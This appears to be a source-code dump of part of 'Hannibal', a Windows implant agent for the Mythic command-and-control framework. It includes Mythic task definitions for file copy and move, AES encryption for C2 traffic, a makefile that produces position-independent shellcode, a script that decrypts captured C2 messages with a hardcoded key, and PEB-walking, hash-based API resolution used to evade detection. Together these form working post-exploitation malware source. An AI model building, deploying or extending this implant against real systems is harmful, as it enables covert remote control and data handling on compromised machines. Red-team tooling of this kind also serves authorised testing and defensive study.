| 64 | // If you don't put a task response in the response queue, the uuid won't 65 | // get freed and that is a leak. Either do it in there or here. 66 | 67 | // TASK response_t; 68 | 69 | // response_t.output = (LPCSTR)response_content; 70 | // response_t.output_size = CURRENT_BUFFER_USAGE; 71 | // response_t.task_uuid = t.task_uuid; 72 | 73 | // task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 74 | 75 | hannibal_instance_ptr->Win32.VirtualFree(in, 0, MEM_RELEASE); 76 | hannibal_instance_ptr->Win32.VirtualFree(hbin_buff, 0, MEM_RELEASE); 77 | hannibal_instance_ptr->Win32.VirtualFree(exec_hbin->args, 0, MEM_RELEASE); 78 | hannibal_instance_ptr->Win32.VirtualFree(exec_hbin->hbin, 0, MEM_RELEASE); 79 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 80 | // hannibal_instance_ptr->Win32.VirtualFree(t.task_uuid, 0, MEM_RELEASE); // Make sure your hbin sends a response so this gets freed in post_tasks 81 | 82 | } 83 | 84 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/cp.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | class CpArguments(TaskArguments): 5 | 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter( 10 | name="src_path", 11 | cli_name="src_path", 12 | display_name="Src to copy", 13 | type=ParameterType.String, 14 | description="Src to copy", 15 | parameter_group_info=[ 16 | ParameterGroupInfo( 17 | required=True, 18 | group_name="Default", 19 | ui_position=0 20 | ), 21 | ]), 22 | CommandParameter( 23 | name="dst_path", 24 | cli_name="dst_path", 25 | display_name="Dst to copy", 26 | type=ParameterType.String, 27 | description="Dst to copy", 28 | parameter_group_info=[ 29 | ParameterGroupInfo( 30 | required=True, 31 | group_name="Default", 32 | ui_position=1 33 | ), 34 | ]), 35 | ] 36 | 37 | async def parse_arguments(self): 38 | if len(self.command_line) > 1: 39 | json_cmd = json.loads(self.command_line) 40 | self.add_arg("src_path", json_cmd["src_path"]) 41 | self.add_arg("dst_path", json_cmd["dst_path"]) 42 | if self.get_arg("src_path") is None or self.get_arg("dst_path") is None: 43 | raise Exception("src_path and dst_path required.") 44 | if self.get_arg("src_path") is not None and self.get_arg("src_path")[-1] == "\\": 45 | self.add_arg("src_path", self.get_arg("src_path")[:-1]) 46 | if self.get_arg("dst_path") is not None and self.get_arg("dst_path")[-1] == "\\": 47 | self.add_arg("dst_path", self.get_arg("dst_path")[:-1]) 48 | 49 | 50 | class CdCommand(CommandBase): 51 | cmd = "cp" 52 | needs_admin = False 53 | help_cmd = "cp [src_path] [dst_path]" 54 | description = "Copy file or folder from src to dst. Non-empty folders are recursively copied." 55 | version = 1 56 | supported_ui_features = [] 57 | author = "@silentwarble" 58 | argument_class = CpArguments 59 | attackmapping = [] 60 | 61 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 62 | response = PTTaskCreateTaskingMessageResponse( 63 | TaskID=taskData.Task.ID, 64 | Success=True, 65 | ) 66 | response.DisplayParams = "-src {} -dst {}".format( 67 | taskData.args.get_arg("src_path"), taskData.args.get_arg("dst_path") 68 | ) 69 | return response 70 | 71 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 72 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 73 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/mv.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | class MvArguments(TaskArguments): 5 | 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter( 10 | name="src_path", 11 | cli_name="src_path", 12 | display_name="Src to move", 13 | type=ParameterType.String, 14 | description="Src to move", 15 | parameter_group_info=[ 16 | ParameterGroupInfo( 17 | required=True, 18 | group_name="Default", 19 | ui_position=0 20 | ), 21 | ]), 22 | CommandParameter( 23 | name="dst_path", 24 | cli_name="dst_path", 25 | display_name="Dst to move", 26 | type=ParameterType.String, 27 | description="Dst to move", 28 | parameter_group_info=[ 29 | ParameterGroupInfo( 30 | required=True, 31 | group_name="Default", 32 | ui_position=1 33 | ), 34 | ]), 35 | ] 36 | 37 | async def parse_arguments(self): 38 | if len(self.command_line) > 1: 39 | json_cmd = json.loads(self.command_line) 40 | self.add_arg("src_path", json_cmd["src_path"]) 41 | self.add_arg("dst_path", json_cmd["dst_path"]) 42 | if self.get_arg("src_path") is None or self.get_arg("dst_path") is None: 43 | raise Exception("src_path and dst_path required.") 44 | if self.get_arg("src_path") is not None and self.get_arg("src_path")[-1] == "\\": 45 | self.add_arg("src_path", self.get_arg("src_path")[:-1]) 46 | if self.get_arg("dst_path") is not None and self.get_arg("dst_path")[-1] == "\\": 47 | self.add_arg("dst_path", self.get_arg("dst_path")[:-1]) 48 | 49 | 50 | class MvCommand(CommandBase): 51 | cmd = "mv" 52 | needs_admin = False 53 | help_cmd = "mv [src_path] [dst_path]" 54 | description = "Move file or folder from src to dst. Non-empty folders are recursively copied. Wrap spaces with quotes: mv \"c:\\New folder\" c:\\mv" 55 | version = 1 56 | supported_ui_features = [] 57 | author = "@silentwarble" 58 | argument_class = MvArguments 59 | attackmapping = [] 60 | 61 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 62 | response = PTTaskCreateTaskingMessageResponse( 63 | TaskID=taskData.Task.ID, 64 | Success=True, 65 | ) 66 | response.DisplayParams = "-src {} -dst {}".format( 67 | taskData.args.get_arg("src_path"), taskData.args.get_arg("dst_path") 68 | ) 69 | return response 70 | 71 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 72 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 73 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_encryption_AES.h: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/kokke/tiny-AES-c 2 | 3 | #ifndef UTILITY_ENCRYPTION_AES_H 4 | #define UTILITY_ENCRYPTION_AES_H 5 | 6 | #include 7 | #include 8 | #include "hannibal.h" 9 | 10 | // #define the macros below to 1/0 to enable/disable the mode of operation. 11 | // 12 | // CBC enables AES encryption in CBC-mode of operation. 13 | // CTR enables encryption in counter-mode. 14 | // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. 15 | 16 | // The #ifndef-guard allows it to be configured before #include'ing or at compile time. 17 | #define CBC 1 18 | // #ifndef CBC 19 | // #define CBC 1 20 | // #endif 21 | 22 | // #ifndef ECB 23 | // #define ECB 1 24 | // #endif 25 | 26 | // #ifndef CTR 27 | // #define CTR 1 28 | // #endif 29 | 30 | 31 | // #define AES128 1 32 | //#define AES192 1 33 | #define AES256 1 34 | 35 | #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only 36 | 37 | #if defined(AES256) && (AES256 == 1) 38 | #define AES_KEYLEN 32 39 | #define AES_keyExpSize 240 40 | #elif defined(AES192) && (AES192 == 1) 41 | #define AES_KEYLEN 24 42 | #define AES_keyExpSize 208 43 | #else 44 | #define AES_KEYLEN 16 // Key length in bytes 45 | #define AES_keyExpSize 176 46 | #endif 47 | 48 | struct AES_ctx 49 | { 50 | uint8_t RoundKey[AES_keyExpSize]; 51 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 52 | uint8_t Iv[AES_BLOCKLEN]; 53 | #endif 54 | }; 55 | 56 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); 57 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 58 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); 59 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); 60 | #endif 61 | 62 | #if defined(ECB) && (ECB == 1) 63 | // buffer size is exactly AES_BLOCKLEN bytes; 64 | // you need only AES_init_ctx as IV is not used in ECB 65 | // NB: ECB is considered insecure for most uses 66 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); 67 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); 68 | 69 | #endif // #if defined(ECB) && (ECB == !) 70 | 71 | 72 | #if defined(CBC) && (CBC == 1) 73 | // buffer size MUST be mutile of AES_BLOCKLEN; 74 | // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 75 | // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() 76 | // no IV should ever be reused with the same key 77 | void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 78 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 79 | 80 | #endif // #if defined(CBC) && (CBC == 1) 81 | 82 | 83 | #if defined(CTR) && (CTR == 1) 84 | 85 | // Same function for encrypting as for decrypting. 86 | // IV is incremented for every block, and used after encryption as XOR-compliment for output 87 | // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 88 | // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() 89 | // no IV should ever be reused with the same key 90 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); 91 | 92 | #endif // #if defined(CTR) && (CTR == 1) 93 | 94 | 95 | #endif // UTILITY_ENCRYPTION_AES_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/linux_makefile: -------------------------------------------------------------------------------- 1 | # Generates a fully position independent .bin 2 | 3 | #---------- Performance ----------# 4 | 5 | # First build is the longest, after that it's incremental. 6 | # MAKEFLAGS += -s -j1 7 | MAKEFLAGS += -s -j$(shell nproc) 8 | 9 | #---------- Project Settings ----------# 10 | 11 | PROJECT := hannibal 12 | CC_X64 := x86_64-w64-mingw32-g++ 13 | 14 | #---------- Compiler Flags ----------# 15 | 16 | # https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html 17 | # https://gcc.gnu.org/onlinedocs/gcc/Cygwin-and-MinGW-Options.html 18 | # https://forum.tinycorelinux.net/index.php/topic,26375.0.html 19 | 20 | CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib 21 | CFLAGS += -nolibc 22 | 23 | # Not supported on MingW 12: -nostdlib++ 24 | 25 | CFLAGS += -fno-exceptions # Makes the .eh_frame ld message go away 26 | CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 27 | CFLAGS += -s -ffunction-sections -falign-jumps=1 -w 28 | CFLAGS += -falign-labels=1 -fPIC 29 | CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd 30 | CFLAGS += -D PIC_BUILD -D PROFILE_MYTHIC_HTTP 31 | 32 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEP_DIR)/$(*F).d 33 | 34 | #---------- Linker Flags ----------# 35 | 36 | LDFLAGS := -Wl,-Tscripts/Linker.ld 37 | LDFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup 38 | 39 | #---------- Paths ----------# 40 | 41 | ASM_DIR := asm/x64 42 | SRC_DIR := src 43 | OBJ_DIR := bin/obj 44 | BIN_DIR := bin 45 | DEP_DIR := $(BIN_DIR)/deps 46 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c) 47 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o) 48 | DEP_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(DEP_DIR)/%.d) 49 | ASM_FILES := $(wildcard $(ASM_DIR)/*.asm) 50 | ASM_OBJ_FILES := $(ASM_FILES:asm/x64/%.asm=bin/obj/%.o) 51 | 52 | #---------- Targets ----------# 53 | 54 | all: $(BIN_DIR)/$(PROJECT).exe 55 | 56 | # A full build with all the commands takes ~2min on 2 core 2gb of ram in a Mythic container. 57 | # If you are not going to be adding/removing commands then you can remove the clean and the rms. 58 | # Just delete hannibal.o, hannibal_tasking.o, hannibal_resolve_pointers.o, and profile_mythic_http.o 59 | # since they read in config from config.h and need to be recompiled. 60 | # You'll get really fast recompile that way. 61 | $(BIN_DIR)/$(PROJECT).exe: $(ASM_OBJ_FILES) $(OBJ_FILES) 62 | @ echo "[+] Linking x64 Executable" 63 | @ $(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(CFLAGS) $(LDFLAGS) 64 | @python scripts/build.py -f $(BIN_DIR)/$(PROJECT).exe -o $(BIN_DIR)/$(PROJECT).bin 65 | @rm -f "$(BIN_DIR)\$(PROJECT).exe" 66 | @rm -rf bin/obj/*.o 67 | 68 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c $(DEP_DIR)/%.d | $(DEP_DIR) 69 | @echo "[+] Compiling $< -> $@" 70 | @ $(CC_X64) -o $@ -c $< $(DEPFLAGS) $(CFLAGS) $(LDFLAGS) 71 | 72 | $(ASM_OBJ_FILES): $(OBJ_DIR)/%.o: asm/x64/%.asm 73 | @echo "[+] Assembling $? -> $@" 74 | @ nasm -f win64 $? -o $@ 75 | 76 | $(DEP_DIR): ; @mkdir -p $@ 77 | $(DEP_FILES): 78 | 79 | -include $(DEP_FILES) 80 | 81 | #---------- Utility ----------# 82 | 83 | clean: 84 | @rm -rf bin/obj/*.o 85 | @rm -rf bin/obj/*.s 86 | @rm -rf bin/obj/*.ii 87 | @rm -rf $(DEP_DIR) 88 | @rm -rf bin/*.bin 89 | @rm -rf bin/*.exe 90 | 91 | print: 92 | @echo "SRC_FILES: $(SRC_FILES)" 93 | @echo "OBJ_FILES: $(OBJ_FILES)" 94 | @echo "DEP_FILES: $(DEP_FILES)" 95 | @echo "ASM_FILES: $(ASM_FILES)" 96 | @echo "ASM_OBJ_FILES: $(ASM_OBJ_FILES)" 97 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | **/rabbitmq_config.json 2 | __pycache__/ 3 | *.py[cod] 4 | **/*.dll 5 | # Sphinx documentation 6 | docs/_build/ 7 | # Environments 8 | #.env 9 | .venv 10 | .DS_Store 11 | env/ 12 | venv/ 13 | ENV/ 14 | env.bak/ 15 | venv.bak/ 16 | # pycharm 17 | .idea/ 18 | # ssl certs 19 | ssl/ 20 | # downloaded files 21 | mythic_access.* 22 | postgres-docker/database/ 23 | rabbitmq-docker/storage/ 24 | **/transforms.py 25 | ## Ignore Visual Studio temporary files, build results, and 26 | ## files generated by popular Visual Studio add-ons. 27 | ## 28 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 29 | 30 | # User-specific files 31 | *.suo 32 | *.user 33 | *.userosscache 34 | *.sln.docstates 35 | 36 | # User-specific files (MonoDevelop/Xamarin Studio) 37 | *.userprefs 38 | 39 | # Build results 40 | [Dd]ebug/ 41 | [Dd]ebugPublic/ 42 | [Rr]elease/ 43 | [Rr]eleases/ 44 | x64/ 45 | x86/ 46 | bld/ 47 | [Bb]in/ 48 | [Oo]bj/ 49 | [Ll]og/ 50 | 51 | # Visual Studio 2015/2017 cache/options directory 52 | .vs/ 53 | # Uncomment if you have tasks that create the project's static files in wwwroot 54 | #wwwroot/ 55 | 56 | # Visual Studio 2017 auto generated files 57 | Generated\ Files/ 58 | 59 | # MSTest test Results 60 | [Tt]est[Rr]esult*/ 61 | [Bb]uild[Ll]og.* 62 | 63 | # NUNIT 64 | *.VisualState.xml 65 | TestResult.xml 66 | 67 | # Build Results of an ATL Project 68 | [Dd]ebugPS/ 69 | [Rr]eleasePS/ 70 | dlldata.c 71 | 72 | # Benchmark Results 73 | BenchmarkDotNet.Artifacts/ 74 | 75 | # .NET Core 76 | project.lock.json 77 | project.fragment.lock.json 78 | artifacts/ 79 | **/Properties/launchSettings.json 80 | 81 | # StyleCop 82 | StyleCopReport.xml 83 | 84 | # Files built by Visual Studio 85 | *_i.c 86 | *_p.c 87 | *_i.h 88 | *.ilk 89 | *.meta 90 | *.obj 91 | *.iobj 92 | *.pch 93 | *.pdb 94 | *.ipdb 95 | *.pgc 96 | *.pgd 97 | *.rsp 98 | *.sbr 99 | *.tlb 100 | *.tli 101 | *.tlh 102 | *.tmp 103 | *.tmp_proj 104 | *.log 105 | *.vspscc 106 | *.vssscc 107 | .builds 108 | *.pidb 109 | *.svclog 110 | *.scc 111 | 112 | # Chutzpah Test files 113 | _Chutzpah* 114 | 115 | # Visual C++ cache files 116 | ipch/ 117 | *.aps 118 | *.ncb 119 | *.opendb 120 | *.opensdf 121 | *.sdf 122 | *.cachefile 123 | *.VC.db 124 | *.VC.VC.opendb 125 | 126 | # Visual Studio profiler 127 | *.psess 128 | *.vsp 129 | *.vspx 130 | *.sap 131 | 132 | # Visual Studio Trace Files 133 | *.e2e 134 | 135 | # TFS 2012 Local Workspace 136 | $tf/ 137 | 138 | # Guidance Automation Toolkit 139 | *.gpState 140 | 141 | # ReSharper is a .NET coding add-in 142 | _ReSharper*/ 143 | *.[Rr]e[Ss]harper 144 | *.DotSettings.user 145 | 146 | # Prerequisites 147 | *.d 148 | 149 | # Object files 150 | *.o 151 | *.ko 152 | *.obj 153 | *.elf 154 | 155 | # Linker output 156 | *.ilk 157 | *.map 158 | *.exp 159 | 160 | # Precompiled Headers 161 | *.gch 162 | *.pch 163 | 164 | # Libraries 165 | *.lib 166 | *.a 167 | *.la 168 | *.lo 169 | 170 | # Shared objects (inc. Windows DLLs) 171 | *.dll 172 | *.so 173 | *.so.* 174 | *.dylib 175 | 176 | # Executables 177 | *.exe 178 | *.out 179 | *.app 180 | *.i*86 181 | *.x86_64 182 | *.hex 183 | *.bin 184 | 185 | # Debug files 186 | *.dSYM/ 187 | *.su 188 | *.idb 189 | *.pdb 190 | 191 | # Kernel Module Compile Results 192 | *.mod* 193 | *.cmd 194 | .tmp_versions/ 195 | modules.order 196 | Module.symvers 197 | Mkfile.old 198 | dkms.conf 199 | 200 | !.\asm\x64\*.asm -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/test_decryption.py: -------------------------------------------------------------------------------- 1 | """ 2 | This is code I used when troubleshooting formatting the messages as Mythic expects them. 3 | You can use it to convert the b64 encryption key into a c-style byte array. 4 | TODO: Clean this up. 5 | """ 6 | 7 | import base64 8 | import json 9 | import hashlib 10 | import hmac 11 | from Crypto.Cipher import AES 12 | from Crypto.Util.Padding import unpad 13 | 14 | def decode_base64(encoded_message): 15 | return base64.b64decode(encoded_message) 16 | 17 | def verify_hmac(iv, encrypted_data, hmac_signature, key): 18 | data_to_verify = iv + encrypted_data 19 | computed_hmac = hmac.new(key, data_to_verify, hashlib.sha256).digest() 20 | return hmac.compare_digest(computed_hmac, hmac_signature) 21 | 22 | def decrypt_aes256_cbc(encrypted_data, iv, key): 23 | cipher = AES.new(key, AES.MODE_CBC, iv) 24 | decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) 25 | return decrypted_data 26 | 27 | def main(): 28 | 29 | 30 | 31 | base64_message = "MDdjMTNkYmMtM2U3NC00YmZiLWIxMzYtNzdjMWY1ZGZhMzVkb+eDWjmnxRP7hFqD1D2YKl/FAPQ14s9ohnMddW2u9bNp/zxbijUvEIZeoaLcCD1tvDnzGuTEq5CbNwAhIvG8Dc0KCVGNw8Fr9lBZ7eGMCVuRi4iwQ3F8TW/Vms7UZZY6BHUAGnR74WrJLPA8EGinwhC6JcFq/+RzzC0oRFmFdZhb/OImN5lrdMaJy/tyfTpeb+Q6m/ReRP8c2kYqcryno7BcxMB3C0pG0R8B0NS8wVshXxLOsiGcqKIqjKPTjG5kkzfpDofR9VHYEgM91arhAIL1sCeEy6aMeyDewV+6S2j0kZyrm8QstF2OeKRMtHXzdSOlDrUbaXtvcb2erDz1yVsYuiAweIhvNGCYflFPsqs=" 32 | key = base64.b64decode("1jbinOVw/xh3wEIK9jUOGdiXOh7FuLQBgf3+4uWEkng=") 33 | # Your base64 encoded message and key 34 | # base64_message = "ODA4NDRkMTktOWJmYy00N2Y5LWI5YWYtYzZiOTE0NGMwZmRjyHcKh56jliiv87ReJE7QqK8edpLcV5cfywt8Lg1jWJzPc8b37zB9/mliG1HKH0dyF/jZqiSzUfSWEjgfhKa3DoLUqJOvnbpOYYsL3GvfWrps3/HQhZogSjwXnQmTehbADhXrOqA4622YMFjJbpykxdq7kpufn+12GDidwNybOlbg9ej8D/PpZVVdqL2RdASe" 35 | # key = base64.b64decode("hfN9Nk29S8LsjrE9ffbT9KONue4uozk+/TVMyrxDvvM=") 36 | 37 | # Step 1: Decode the base64 encoded message 38 | decoded_message = decode_base64(base64_message) 39 | 40 | # Step 2: Extract the components 41 | uuid_size = 36 # UUID string size (36 bytes) 42 | iv_size = 16 # AES block size (16 bytes) 43 | uuid = decoded_message[:uuid_size] 44 | iv = decoded_message[uuid_size:uuid_size + iv_size] 45 | hmac_signature = decoded_message[-32:] # HMAC-SHA256 output size is 32 bytes 46 | encrypted_msg = decoded_message[uuid_size + iv_size:-32] 47 | 48 | key_c_style = ", ".join(f"0x{byte:02x}" for byte in key) 49 | print("Key (C-style): {", key_c_style, "}") 50 | 51 | iv_c_style = ", ".join(f"0x{byte:02x}" for byte in iv) 52 | print("IV (C-style): {", iv_c_style, "}") 53 | 54 | # Print the HMAC in C-style array format 55 | hmac_c_style = ", ".join(f"0x{byte:02x}" for byte in hmac_signature) 56 | print("HMAC (C-style): {", hmac_c_style, "}") 57 | 58 | # Step 3: Verify the HMAC 59 | if not verify_hmac(iv, encrypted_msg, hmac_signature, key): 60 | print("HMAC verification failed!") 61 | return 62 | 63 | decrypted = decrypt_aes256_cbc(encrypted_msg, iv, key) 64 | 65 | print(decrypted) 66 | 67 | step = 1 68 | 69 | # # Step 4: Decrypt the encrypted JSON 70 | # decrypted_json_bytes = decrypt_aes256_cbc(encrypted_json, iv, key) 71 | # decrypted_json = json.loads(decrypted_json_bytes) 72 | 73 | # # Output the decrypted JSON 74 | # print("Decrypted JSON:", decrypted_json) 75 | 76 | if __name__ == "__main__": 77 | main() 78 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_winapi_function_resolution.c: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/Cracked5pider/Stardust 2 | 3 | #include "utility_winapi_function_resolution.h" 4 | 5 | /*! 6 | * @brief 7 | * resolve module from peb 8 | * 9 | * @param Buffer 10 | * Buffer: either string or hash 11 | * 12 | * @param Hashed 13 | * is the Buffer a hash value 14 | * 15 | * @return 16 | * module base pointer 17 | */ 18 | SECTION_CODE PVOID get_module_ptr_from_peb( 19 | _In_ ULONG Hash 20 | ) { 21 | PLDR_DATA_TABLE_ENTRY Data = { 0 }; 22 | PLIST_ENTRY Head = { 0 }; 23 | PLIST_ENTRY Entry = { 0 }; 24 | 25 | Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList; 26 | Entry = Head->Flink; 27 | 28 | for ( ; Head != Entry ; Entry = Entry->Flink ) { 29 | Data = (PVOID)Entry; 30 | 31 | if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) { 32 | return Data->DllBase; 33 | } 34 | } 35 | 36 | return NULL; 37 | } 38 | 39 | /*! 40 | * @brief 41 | * retrieve image header 42 | * 43 | * @param Image 44 | * image base pointer to retrieve header from 45 | * 46 | * @return 47 | * pointer to Nt Header 48 | */ 49 | SECTION_CODE PIMAGE_NT_HEADERS LdrpImageHeader( 50 | _In_ PVOID Image 51 | ) { 52 | PIMAGE_DOS_HEADER DosHeader = { 0 }; 53 | PIMAGE_NT_HEADERS NtHeader = { 0 }; 54 | 55 | DosHeader = (PVOID)( Image ); 56 | 57 | if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) { 58 | return NULL; 59 | } 60 | 61 | NtHeader = (PVOID)( (UINT_PTR)( Image ) + DosHeader->e_lfanew ); 62 | 63 | if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) { 64 | return NULL; 65 | } 66 | 67 | return NtHeader; 68 | } 69 | 70 | SECTION_CODE PVOID get_func_ptr_from_module_eat( 71 | _In_ PVOID Library, 72 | _In_ ULONG Function 73 | ) { 74 | 75 | HANNIBAL_INSTANCE_PTR 76 | 77 | PVOID Address = { 0 }; 78 | PIMAGE_NT_HEADERS NtHeader = { 0 }; 79 | PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 }; 80 | SIZE_T ExpDirSize = { 0 }; 81 | PDWORD AddrNames = { 0 }; 82 | PDWORD AddrFuncs = { 0 }; 83 | PWORD AddrOrdns = { 0 }; 84 | PCHAR FuncName = { 0 }; 85 | 86 | if ( ! Library || ! Function ) { 87 | return NULL; 88 | } 89 | 90 | if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) { 91 | return NULL; 92 | } 93 | 94 | ExpDir = (PVOID)( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); 95 | ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size; 96 | AddrNames = (PVOID)( Library + ExpDir->AddressOfNames ); 97 | AddrFuncs = (PVOID)( Library + ExpDir->AddressOfFunctions ); 98 | AddrOrdns = (PVOID)( Library + ExpDir->AddressOfNameOrdinals ); 99 | 100 | for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) { 101 | 102 | FuncName = (PVOID)( (UINT_PTR)( Library ) + AddrNames[ i ] ); 103 | 104 | if ( HashString( FuncName, 0 ) != Function ) { 105 | continue; 106 | } 107 | 108 | Address = (PVOID)( (UINT_PTR)( Library ) + AddrFuncs[ AddrOrdns[ i ] ] ); 109 | 110 | if ( ( (UINT_PTR)( Address ) >= (UINT_PTR)( ExpDir ) ) && 111 | ( (UINT_PTR)( Address ) < (UINT_PTR)( ExpDir ) + ExpDirSize ) 112 | ) { 113 | // 114 | // TODO: need to add support for forwarded functions 115 | // 116 | 117 | __debugbreak(); 118 | } 119 | 120 | break; 121 | } 122 | 123 | return Address; 124 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_cp.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_CP 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | /** 9 | * TODO: Better error messages 10 | */ 11 | SECTION_CODE void copy_directory(LPCWSTR src_dir, LPCWSTR dst_dir) 12 | { 13 | HANNIBAL_INSTANCE_PTR 14 | 15 | if (!hannibal_instance_ptr->Win32.CreateDirectoryW(dst_dir, NULL)) { 16 | // DWORD error = GetLastError(); 17 | // if (error != ERROR_ALREADY_EXISTS) { 18 | // // Handle the error (e.g., log it) 19 | // return; 20 | // } 21 | } 22 | 23 | WIN32_FIND_DATAW find_data; 24 | HANDLE hFind; 25 | 26 | WCHAR search_path[MAX_PATH]; 27 | int i = 0; 28 | while (src_dir[i] != L'\0') { 29 | search_path[i] = src_dir[i]; 30 | i++; 31 | } 32 | search_path[i++] = L'\\'; 33 | search_path[i++] = L'*'; 34 | search_path[i] = L'\0'; 35 | 36 | hFind = hannibal_instance_ptr->Win32.FindFirstFileW(search_path, &find_data); 37 | if (hFind == INVALID_HANDLE_VALUE) { 38 | return; 39 | } 40 | 41 | do { 42 | if (find_data.cFileName[0] != L'.') { 43 | WCHAR src_path[MAX_PATH]; 44 | WCHAR dst_path[MAX_PATH]; 45 | 46 | int j = 0; 47 | while (src_dir[j] != L'\0') { 48 | src_path[j] = src_dir[j]; 49 | j++; 50 | } 51 | src_path[j++] = L'\\'; 52 | for (int k = 0; find_data.cFileName[k] != L'\0'; k++, j++) { 53 | src_path[j] = find_data.cFileName[k]; 54 | } 55 | src_path[j] = L'\0'; 56 | 57 | j = 0; 58 | while (dst_dir[j] != L'\0') { 59 | dst_path[j] = dst_dir[j]; 60 | j++; 61 | } 62 | dst_path[j++] = L'\\'; 63 | for (int k = 0; find_data.cFileName[k] != L'\0'; k++, j++) { 64 | dst_path[j] = find_data.cFileName[k]; 65 | } 66 | dst_path[j] = L'\0'; 67 | 68 | DWORD attributes = hannibal_instance_ptr->Win32.GetFileAttributesW(src_path); 69 | if (attributes != INVALID_FILE_ATTRIBUTES) { 70 | if (attributes & FILE_ATTRIBUTE_DIRECTORY) { 71 | copy_directory(src_path, dst_path); 72 | } else { 73 | hannibal_instance_ptr->Win32.CopyFileW(src_path, dst_path, FALSE); 74 | } 75 | } 76 | } 77 | } while (hannibal_instance_ptr->Win32.FindNextFileW(hFind, &find_data)); 78 | 79 | hannibal_instance_ptr->Win32.FindClose(hFind); 80 | 81 | } 82 | 83 | 84 | SECTION_CODE void cmd_cp(TASK t) 85 | { 86 | HANNIBAL_INSTANCE_PTR 87 | 88 | CMD_CP *cp = (CMD_CP *)t.cmd; 89 | LPCWSTR src_path = cp->src_path; 90 | LPCWSTR dest_path = cp->dst_path; 91 | 92 | DWORD attributes = hannibal_instance_ptr->Win32.GetFileAttributesW(src_path); 93 | 94 | if (attributes != INVALID_FILE_ATTRIBUTES) { 95 | if (attributes & FILE_ATTRIBUTE_DIRECTORY) { 96 | copy_directory(src_path, dest_path); 97 | } else { 98 | if (!hannibal_instance_ptr->Win32.CopyFileW(src_path, dest_path, FALSE)) { 99 | // DWORD error = GetLastError(); 100 | } 101 | } 102 | } else { 103 | // DWORD error = GetLastError(); 104 | } 105 | 106 | LPCWSTR response_content = L"Command Issued"; 107 | 